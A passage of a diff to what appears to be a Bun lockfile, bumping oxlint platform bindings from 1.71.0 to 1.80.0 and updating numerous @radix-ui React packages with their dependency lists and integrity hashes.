"sha512-3I4yMwcFG9NeO8ioY6JBBuKsIm5GL/x7MATt1S4tVWaxPu5HcJ+XnLUbcVBTxG8q2Wu56HSj+NmXQiVYb1lp6A=="], - "@oxlint/binding-linux-arm-gnueabihf": ["@oxlint/binding-linux-arm-gnueabihf@1.71.0", "", { "os": "linux", "cpu": "arm" }, "sha512-Oo9/L58PYD3RC0x05d2upAPLllHytTjHQGsnC06P6Ynn7jKkp5mdImQxXdJ3+FnBaKspNpGogzgVsi6g872LiA=="], + "@oxlint/binding-linux-riscv64-gnu": ["@oxlint/binding-linux-riscv64-gnu@1.80.0", "", { "os": "linux", "cpu": "none" }, "sha512-E1wAKymkpe1/E8helzBKdm81OBOF+ezxRyXRMEuik3ZpWDER5CPOKZwF66RsdwW98uwZv8UTFremUQtC1CzdJA=="], - "@oxlint/binding-linux-arm-musleabihf": ["@oxlint/binding-linux-arm-musleabihf@1.71.0", "", { "os": "linux", "cpu": "arm" }, "sha512-mSHfyfgJrEbyIR29ejaeS50BdPk+GoNPlC1dckpDiUZbJAIel68sjSMdOt4WY0/gva+ECC7FNITQkxMJU+vSBw=="], + "@oxlint/binding-linux-riscv64-musl": ["@oxlint/binding-linux-riscv64-musl@1.80.0", "", { "os": "linux", "cpu": "none" }, "sha512-+gLRGD4sIo3+VA++iham5UxD9tKSoJ/VOrROCEXIcknrYtQg6iIQgvjN0cpiRF7N6UYC7pJbvHJlDnMge5LRpQ=="], - "@oxlint/binding-linux-arm64-gnu": ["@oxlint/binding-linux-arm64-gnu@1.71.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-n9yY4M2tiy3aij4AqtlnspzpfdpeT5JQfK2/w2d8oyp5W0FRwOb1dIeX99nORNcxGr08iD9bH8N5XFz3I2iy8w=="], + "@oxlint/binding-linux-s390x-gnu": ["@oxlint/binding-linux-s390x-gnu@1.80.0", "", { "os": "linux", "cpu": "s390x" }, "sha512-aR0PrzHj9leW3NmzBAAP4EzdoBNoJcs9sjnIQPIwyRnBGYrRbXUIpEB5Q39AqK3PLY5JK5uEhDQDiUa1QSAstw=="], - "@oxlint/binding-linux-arm64-musl": ["@oxlint/binding-linux-arm64-musl@1.71.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-fJZrs5sDZtTaPIOiemRQQmo82Ezy+vOGXemPc4Ok7iVVsYsFa7SlW6Z5XN819VfsqBHRm3NJ3rTdnR8+bJYJdQ=="], + "@oxlint/binding-linux-x64-gnu": ["@oxlint/binding-linux-x64-gnu@1.80.0", "", { "os": "linux", "cpu": "x64" }, "sha512-vSVh5cSo3Xxs6ghBCcFJlpbkbENzDog1qXtoXLa/HC3aCrR4XO76GZbXmQoCPHnu99nQpdCeC3H9tdNICfDh7A=="], - "@oxlint/binding-linux-ppc64-gnu": ["@oxlint/binding-linux-ppc64-gnu@1.71.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-cwl7VKGERIy9p+G+AvZdfy/06q0aHXaTt/mMRReC751iuNYJgqKjB7NydXSS30nBT9vtr2tunciOtrR4fD6FUA=="], + "@oxlint/binding-linux-x64-musl": ["@oxlint/binding-linux-x64-musl@1.80.0", "", { "os": "linux", "cpu": "x64" }, "sha512-FfzBXpNQ8u7/ZI/p8bl73MeZ508Ax3hxWp3SiJpEFiC+BB9XcXy5FAZHTLKDPSzrUpxQZSZJAVdDmuJp/+HDBQ=="], - "@oxlint/binding-linux-riscv64-gnu": ["@oxlint/binding-linux-riscv64-gnu@1.71.0", "", { "os": "linux", "cpu": "none" }, "sha512-eZ8ieVXvzGi8jr7+ybQGPK2STw3mldfxZlgA2738iflfB/rzA69sE6m5rDRpQaxC7dpm745Enlh1Tod0QAk9Gg=="], + "@oxlint/binding-openharmony-arm64": ["@oxlint/binding-openharmony-arm64@1.80.0", "", { "os": "none", "cpu": "arm64" }, "sha512-zMzbkumtmprCgRwoYNzcB3iC39fXdJIMLMU33KdCjEGLlJGOEt1+LwQ4LF8ndLzAEKVz4BR0y3V6Xrkk3Nm3yA=="], - "@oxlint/binding-linux-riscv64-musl": ["@oxlint/binding-linux-riscv64-musl@1.71.0", "", { "os": "linux", "cpu": "none" }, "sha512-puMDbQYe6+NXwfMusojoA7CXGn2b3utukmd23PQqc1E3XhVCwyZ+FueSMzDYeNgDV2dUfIVXAAKZBcFDeCL6sA=="], + "@oxlint/binding-win32-arm64-msvc": ["@oxlint/binding-win32-arm64-msvc@1.80.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-ib6iRcrXsk4t1fm3iKcwksyWh1ZkZXC/2mEzakl0ai2+6HZunf1WWMZ/xP9EJAvw9g9K4UVTC3NF/+G2qLrbTQ=="], - "@oxlint/binding-linux-s390x-gnu": ["@oxlint/binding-linux-s390x-gnu@1.71.0", "", { "os": "linux", "cpu": "s390x" }, "sha512-4NJLxBs1ujISCt3L/1FcywLs73PWtJuw+piD6feK2V6h6OS6P7xu9/sWt1DTRLibe6QCzmfZzmM/2HPORoV/Lg=="], + "@oxlint/binding-win32-ia32-msvc": ["@oxlint/binding-win32-ia32-msvc@1.80.0", "", { "os": "win32", "cpu": "ia32" }, "sha512-xhRWBMpLxZvgKAH6+DJZmpP+W8Y8UdQOSU1JfxSWNXsaBaRGW77j+1hCuNHlzj7OH4SPN8fYd1q0o2qrDtoVyw=="], - "@oxlint/binding-linux-x64-gnu": ["@oxlint/binding-linux-x64-gnu@1.71.0", "", { "os": "linux", "cpu": "x64" }, "sha512-cFDaiR8L3430qp88tfZnvFlt3KotFhR/DlbIL0nHOMMYiG/9Wy4l+6f7t8G8pTa9bd8Lt8+M0y/qjRQ/xcB74g=="], + "@oxlint/binding-win32-x64-msvc": ["@oxlint/binding-win32-x64-msvc@1.80.0", "", { "os": "win32", "cpu": "x64" }, "sha512-yAnO7lwBYQnz2pcfBPIGQQZWIX5zd5R/1aAKIF3oE+TVj7IhoHcROjOkz3sRDngzqhfPKfFaXqug5j5rE5dn6Q=="], - "@oxlint/binding-linux-x64-musl": ["@oxlint/binding-linux-x64-musl@1.71.0", "", { "os": "linux", "cpu": "x64" }, "sha512-orfixdt76KlpNly9z0PkWBBNfwjKz+JFVLP/7wnVchlKNU9Dpt9InU/ZggeSej6fC7qwHmHNOGlhLnQXcYoGuA=="], + "@radix-ui/number": ["@radix-ui/number@1.1.3", "", {}, "sha512-Road2bidD0uu/1BGDOWNdPI06g0lIRy6IF9GZcIrDK2KGItfor8IQwQa+yM2ERgHM1MmHxaxpTzk0/Jp42lNfA=="], - "@oxlint/binding-openharmony-arm64": ["@oxlint/binding-openharmony-arm64@1.71.0", "", { "os": "none", "cpu": "arm64" }, "sha512-9emQu2lAp6yhPB3XuI+++vR+l/o6JR1X+EpxwcumPdQXBWXEPAsquPGL7l158EqU8SebQMXTUa/S5zN98juyHw=="], + "@radix-ui/primitive": ["@radix-ui/primitive@1.1.7", "", {}, "sha512-rqWnm76nYT8HoNNqEjpgJ7Pw/DrBj5iBTrmEPo6HTX5+VJyBNOqTdv4g89G63HuR5g0AaENoAcH7Is5fF2kZ8Q=="], - "@oxlint/binding-win32-arm64-msvc": ["@oxlint/binding-win32-arm64-msvc@1.71.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-bd5kI8spYwTm3BILDtGhi73zoup5dw8MlPQNT8YB3BD5UIsjNe3K9/4ctrzQMX4SZMoK5HgzVLkLJzacEXB7fA=="], + "@radix-ui/react-accordion": ["@radix-ui/react-accordion@1.2.20", "", { "dependencies": { "@radix-ui/primitive": "1.1.7", "@radix-ui/react-collapsible": "1.1.20", "@radix-ui/react-collection": "1.1.15", "@radix-ui/react-compose-refs": "1.1.5", "@radix-ui/react-context": "1.2.2", "@radix-ui/react-direction": "1.1.4", "@radix-ui/react-id": "1.1.4", "@radix-ui/react-primitive": "2.1.10", "@radix-ui/react-use-controllable-state": "1.2.6" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-jDhG9FvAEnlhnjrsINbNXcUa4G+L1KqSkJSunkbKEzFRcAb52jvM0PjPxPRvhe1HNc5F5yc0yzzWeeqlH4yBIg=="], - "@oxlint/binding-win32-ia32-msvc": ["@oxlint/binding-win32-ia32-msvc@1.71.0", "", { "os": "win32", "cpu": "ia32" }, "sha512-W4HvOHGzVLHcrmFu+bMrJlho+/yrlX5ZNdJZqGe8MEldkQG+RHYhxxad9P4jvWAYFmIqUA5i9DQ8QsJqSU9GIw=="], + "@radix-ui/react-arrow": ["@radix-ui/react-arrow@1.1.15", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.10" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-v4zggRcjadnI+ClKDuijlQEW4tw3NoaeHc/PwpKnLoLLKNUG4InLegkstooLcRIUWCs+8L22dGURCVuFfOKfnA=="], - "@oxlint/binding-win32-x64-msvc": ["@oxlint/binding-win32-x64-msvc@1.71.0", "", { "os": "win32", "cpu": "x64" }, "sha512-D2kyEIPHk/G/wiZLnwTVC/sVst+T/lKldVOjAFpgTIBUAOlry72e5OiapDbDBF4LfJLkN5ypJb/8Eu6yJzkveQ=="], + "@radix-ui/react-collapsible": ["@radix-ui/react-collapsible@1.1.20", "", { "dependencies": { "@radix-ui/primitive": "1.1.7", "@radix-ui/react-compose-refs": "1.1.5", "@radix-ui/react-context": "1.2.2", "@radix-ui/react-id": "1.1.4", "@radix-ui/react-presence": "1.1.10", "@radix-ui/react-primitive": "2.1.10", "@radix-ui/react-use-controllable-state": "1.2.6", "@radix-ui/react-use-layout-effect": "1.1.4" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-mcGesGplBnzN2sbvJETzpCNfSMyPnb29q1GRLU+Ib7bJrpIG2ywmRoh2V5VbA2uNvKikKUlVbAPks7JDjz4A8Q=="], - "@radix-ui/number": ["@radix-ui/number@1.1.2", "", {}, "sha512-ceTwaxc4I5IOi97DgCotl3pqiyRGvffcc0oOsE2dQYaJOFIDsDt4VWG6xEbg1QePv9QWausCEIppud/tJ1wNig=="], + "@radix-ui/react-collection": ["@radix-ui/react-collection@1.1.15", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.5", "@radix-ui/react-context": "1.2.2", "@radix-ui/react-primitive": "2.1.10", "@radix-ui/react-slot": "1.3.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-9W+B9NPF0NaaPh/1NJd3+KqsnlLqU9H7T2rvww+fp+T/evVXdNAyYcnfRQZFOjkR1ajQp3yORlqnI8soawLvNA=="], - "@radix-ui/primitive": ["@radix-ui/primitive@1.1.3", "", {}, "sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg=="], + "@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.1.5", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-+48PbAAbq3didjJxa+OaWY2ZwgAKsNiRGyeHKszblZMQ+kcpd9pAaT11cMkGEie0vsOi3QdeTE6d5Fe3Gn61kA=="], - "@radix-ui/react-accordion": ["@radix-ui/react-accordion@1.2.12", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-collapsible": "1.1.12", "@radix-ui/react-collection": "1.1.7", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-direction": "1.1.1", "@radix-ui/react-id": "1.1.1", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-controllable-state": "1.2.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-T4nygeh9YE9dLRPhAHSeOZi7HBXo+0kYIPJXayZfvWOWA0+n3dESrZbjfDPUABkUNym6Hd+f2IR113To8D2GPA=="], + "@radix-ui/react-context": ["@radix-ui/react-context@1.2.2", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-RHCUGwKHDr0hDGg4X7ma4JG4/+12qxw8rkh5QKdDldlCvtja6nUx1Ef/8HVrJze81lEsgLQlqjzjGNHantgnQA=="], - "@radix-ui/react-arrow": ["@radix-ui/react-arrow@1.1.10", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.6" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-j2VTDz1vgCsmuG0k5lBfOcM8n5JPFqZBcMryasFjHYMhwxYL5SRUV5lMSUpRdNtw3D/Sv8pzJtrlAgkssYSsQQ=="], + "@radix-ui/react-dialog": ["@radix-ui/react-dialog@1.1.23", "", { "dependencies": { "@radix-ui/primitive": "1.1.7", "@radix-ui/react-compose-refs": "1.1.5", "@radix-ui/react-context": "1.2.2", "@radix-ui/react-dismissable-layer": "1.1.19", "@radix-ui/react-focus-guards": "1.1.6", "@radix-ui/react-focus-scope": "1.1.16", "@radix-ui/react-id": "1.1.4", "@radix-ui/react-portal": "1.1.17", "@radix-ui/react-presence": "1.1.10", "@radix-ui/react-primitive": "2.1.10", "@radix-ui/react-slot": "1.3.3", "@radix-ui/react-use-controllable-state": "1.2.6", "@radix-ui/react-use-layout-effect": "1.1.4", "aria-hidden": "^1.2.4", "react-remove-scroll": "^2.7.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-Ksw4WeROkO4rC9k/onilX/Ao2Cr1ku1unMNH+XSCcP4jSXYu7HDsg9n4ojMjVb22XpYjAQ9qfrFlVbru1vXDUA=="], - "@radix-ui/react-collapsible": ["@radix-ui/react-collapsible@1.1.14", "", { "dependencies": { "@radix-ui/primitive": "1.1.4", "@radix-ui/react-compose-refs": "1.1.3", "@radix-ui/react-context": "1.1.4", "@radix-ui/react-id": "1.1.2", "@radix-ui/react-presence": "1.1.6", "@radix-ui/react-primitive": "2.1.6", "@radix-ui/react-use-controllable-state": "1.2.3", "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-9bT+FvifX1FK2Mj6UEsTdyu0cN3JaA3KdfhaBao+ONrYFy/pyOy3TU1TNw7iOk1o+0hOEq67RojlUUmoFGwxyA=="], + "@radix-ui/react-direction": ["@radix-ui/react-direction@1.1.4", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-5pzg4FGQNpExhnhT2zlrP1wZFaYCd1K0nYWoFAdcYoYK868IEigqMX3B3f8yIoRlAhAeDWciLI6ZdCKHF9P4Vg=="], - "@radix-ui/react-collection": ["@radix-ui/react-collection@1.1.7", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-slot": "1.2.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-Fh9rGN0MoI4ZFUNyfFVNU4y9LUz93u9/0K+yLgA2bwRojxM8JU1DyvvMBabnZPBgMWREAJvU2jjVzq+LrFUglw=="], + "@radix-ui/react-dismissable-layer": ["@radix-ui/react-dismissable-layer@1.1.19", "", { "dependencies": { "@radix-ui/primitive": "1.1.7", "@radix-ui/react-compose-refs": "1.1.5", "@radix-ui/react-primitive": "2.1.10", "@radix-ui/react-use-callback-ref": "1.1.4", "@radix-ui/react-use-effect-event": "0.0.5" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-8g4pfOL9HoKKLWGiypT+dphVqjFfmcXO5GBnhsG6zI+lxAx/8feQpr+1LSN8Re3hiZ+XkLNS4O9ztK11/LzQ6w=="], - "@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.1.2", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-z4eqJvfiNnFMHIIvXP3CY57y2WJs5g2v3X0zm9mEJkrkNv4rDxu+sg9Jh8EkXyeqBkB7SOcboo9dMVqhyrACIg=="], + "@radix-ui/react-focus-guards": ["@radix-ui/react-focus-guards@1.1.6", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-RNOJjfZMTyBM6xYmV3IVGXkPjIhcBAuv48POevAXwrGJhkWZ9p1rFoIS1JFooPuT193AZmRsCPhpoVJxx6OPoQ=="], - "@radix-ui/react-context": ["@radix-ui/react-context@1.1.2", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-jCi/QKUM2r1Ju5a3J64TH2A5SpKAgh0LpknyqdQ4m6DCV0xJ2HG1xARRwNGPQfi1SLdLWZ1OJz6F4OMBBNiGJA=="], + "@radix-ui/react-focus-scope": ["@radix-ui/react-focus-scope@1.1.16", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.5", "@radix-ui/react-primitive": "2.1.10", "@radix-ui/react-use-callback-ref": "1.1.4" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-wmRZ2WWLvmt6KHy2rNPOdPUjwq5xOHY02+m+udwJTn0aNIox/rkskAvJTyTLGhPK6KgrUjlJUJpgmx/+wFiFIQ=="], - "@radix-ui/react-dialog": ["@radix-ui/react-dialog@1.1.17", "", { "dependencies": { "@radix-ui/primitive": "1.1.4", "@radix-ui/react-compose-refs": "1.1.3", "@radix-ui/react-context": "1.1.4", "@radix-ui/react-dismissable-layer": "1.1.13", "@radix-ui/react-focus-guards": "1.1.4", "@radix-ui/react-focus-scope": "1.1.10", "@radix-ui/react-id": "1.1.2", "@radix-ui/react-portal": "1.1.12", "@radix-ui/react-presence": "1.1.6", "@radix-ui/react-primitive": "2.1.6", "@radix-ui/react-slot": "1.3.0", "@radix-ui/react-use-controllable-state": "1.2.3", "aria-hidden": "^1.2.4", "react-remove-scroll": "^2.7.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-TDTYmpdq8dI2+Xgvgj9AJ8Ghqq+Eph/TRVEdaFQPDItIY+6QSkU7MJMeevw1568Yw/2Ijz8BTphPSP2XejKphw=="], + "@radix-ui/react-id": ["@radix-ui/react-id@1.1.4", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.4" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-TMQp2llA+RYn7JcjnrMnz7wN4pcVttPZnRZo52PLQsoLVKzNlVwUeHmfePgTgRluXFvlD3GD5g5MOVVTJCO0qA=="], - "@radix-ui/react-direction": ["@radix-ui/react-direction@1.1.2", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-C3vFhbyi4SW3PmbAi6Awpu4OzJtd0MxGurvSsYtr7p7nM8RNB3VAF3CUmnp2j50knpkrRcB7+ycVXzgLgF6yNA=="], + "@radix-ui/react-navigation-menu": ["@radix-ui/react-navigation-menu@1.2.22", "", { "dependencies": { "@radix-ui/primitive": "1.1.7", "@radix-ui/react-collection": "1.1.15", "@radix-ui/react-compose-refs": "1.1.5", "@radix-ui/react-context": "1.2.2", "@radix-ui/react-direction": "1.1.4", "@radix-ui/react-dismissable-layer": "1.1.19", "@radix-ui/react-id": "1.1.4", "@radix-ui/react-presence": "1.1.10", "@radix-ui/react-primitive": "2.1.10", "@radix-ui/react-use-callback-ref": "1.1.4", "@radix-ui/react-use-controllable-state": "1.2.6", "@radix-ui/react-use-layout-effect": "1.1.4", "@radix-ui/react-use-previous": "1.1.4", "@radix-ui/react-visually-hidden": "1.2.11" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-ou7iLEJ+yrhQndkkA4U21XIdS/CS45F4iXIkTZcb6/Ne9EMsOuDudVmCwmDnfFZZ+y1FZqXRNSIgBy+YMvZVZg=="], - "@radix-ui/react-dismissable-layer": ["@radix-ui/react-dismissable-layer@1.1.13", "", { "dependencies": { "@radix-ui/primitive": "1.1.4", "@radix-ui/react-compose-refs": "1.1.3", "@radix-ui/react-primitive": "2.1.6", "@radix-ui/react-use-callback-ref": "1.1.2", "@radix-ui/react-use-escape-keydown": "1.1.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-2v+zNAWWe0ySxgC0D0yeXMPQ23xZVgXZTerTz+JKlmdRj6gfTqmCcR29jb6d290DezXPGgruHWDX/vYUebtErg=="], + "@radix-ui/react-popover": ["@radix-ui/react-popover@1.1.23", "", { "dependencies": { "@radix-ui/primitive": "1.1.7", "@radix-ui/react-compose-refs": "1.1.5", "@radix-ui/react-context": "1.2.2", "@radix-ui/react-dismissable-layer": "1.1.19", "@radix-ui/react-focus-guards": "1.1.6", "@radix-ui/react-focus-scope": "1.1.16", "@radix-ui/react-id": "1.1.4", "@radix-ui/react-popper": "1.3.7", "@radix-ui/react-portal": "1.1.17", "@radix-ui/react-presence": "1.1.10", "@radix-ui/react-primitive": "2.1.10", "@radix-ui/react-slot": "1.3.3", "@radix-ui/react-use-controllable-state": "1.2.6", "aria-hidden": "^1.2.4", "react-remove-scroll": "^2.7.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-mw58MrBlyHWFisTOYignD0vf/3gdcgAR+9of1s9G/38CbFiUwH1nCDkc0AUM9IrXFgN5Ue8n45j9WCgyM1sbiQ=="], - "@radix-ui/react-focus-guards": ["@radix-ui/react-focus-guards@1.1.4", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-cot/aB/mOm0IYVYTTmQcEEK1M48lZWi8FlYe5nDPQQ8NYZUlXEFgncJ9p2Kzer3RKSrY7cTTpEMLZKNo9QoP5Q=="], + "@radix-ui/react-popper": ["@radix-ui/react-popper@1.3.7", "", { "dependencies": { "@floating-ui/react-dom": "^2.0.0", "@radix-ui/react-arrow": "1.1.15", "@radix-ui/react-compose-refs": "1.1.5", "@radix-ui/react-context": "1.2.2", "@radix-ui/react-primitive": "2.1.10", "@radix-ui/react-use-callback-ref": "1.1.4", "@radix-ui/react-use-layout-effect": "1.1.4", "@radix-ui/react-use-rect": "1.1.4", "@radix-ui/react-use-size": "1.1.4", "@radix-ui/rect": "1.1.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-UsJrrd7w4wuKKTdvd/DNERVlwSlUcyXzjhyDwBk+3aPOsCjOY6ZSbxuw8E6lZTjjfP8Cpd0J8VVkrYUWyGYXyg=="], - "@radix-ui/react-focus-scope": ["@radix-ui/react-focus-scope@1.1.10", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.3", "@radix-ui/react-primitive": "2.1.6", "@radix-ui/react-use-callback-ref": "1.1.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-Fas/lXQqhVvqwAb64s5RFeHiHYElZ6SUQbZaNd6EkfhP/Al7wTIQ9WIR4QVX475tlu5yFCEdDcJH6/UwsZjMWw=="], + "@radix-ui/react-portal": ["@radix-ui/react-portal@1.1.17", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.10", "@radix-ui/react-use-layout-effect": "1.1.4" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-vKQLcWypUnwZVvfV7UkGahH2g6ySe8M8R+zYBwPrv5byZ9QAW6cQVvNKo7GgmD+p8aYb6D9JBuvy8/WhOno2wQ=="], - "@radix-ui/react-id": ["@radix-ui/react-id@1.1.1", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-kGkGegYIdQsOb4XjsfM97rXsiHaBwco+hFI66oO4s9LU+PLAC5oJ7khdOVFxkhsmlbpUqDAvXw11CluXP+jkHg=="], + "@radix-ui/react-presence": ["@radix-ui/react-presence@1.1.10", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.4" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-3wyzCQ6+ubRA+D4uv9m95JYLXxmOHp05qjrkjeA7uKHHtjpPggQzc6DAb0URl7j67oR0K2foO4ip27TiX037Bw=="], - "@radix-ui/react-navigation-menu": ["@radix-ui/react-navigation-menu@1.2.16", "", { "dependencies": { "@radix-ui/primitive": "1.1.4", "@radix-ui/react-collection": "1.1.10", "@radix-ui/react-compose-refs": "1.1.3", "@radix-ui/react-context": "1.1.4", "@radix-ui/react-direction": "1.1.2", "@radix-ui/react-dismissable-layer": "1.1.13", "@radix-ui/react-id": "1.1.2", "@radix-ui/react-presence": "1.1.6", "@radix-ui/react-primitive": "2.1.6", "@radix-ui/react-use-callback-ref": "1.1.2", "@radix-ui/react-use-controllable-state": "1.2.3", "@radix-ui/react-use-layout-effect": "1.1.2", 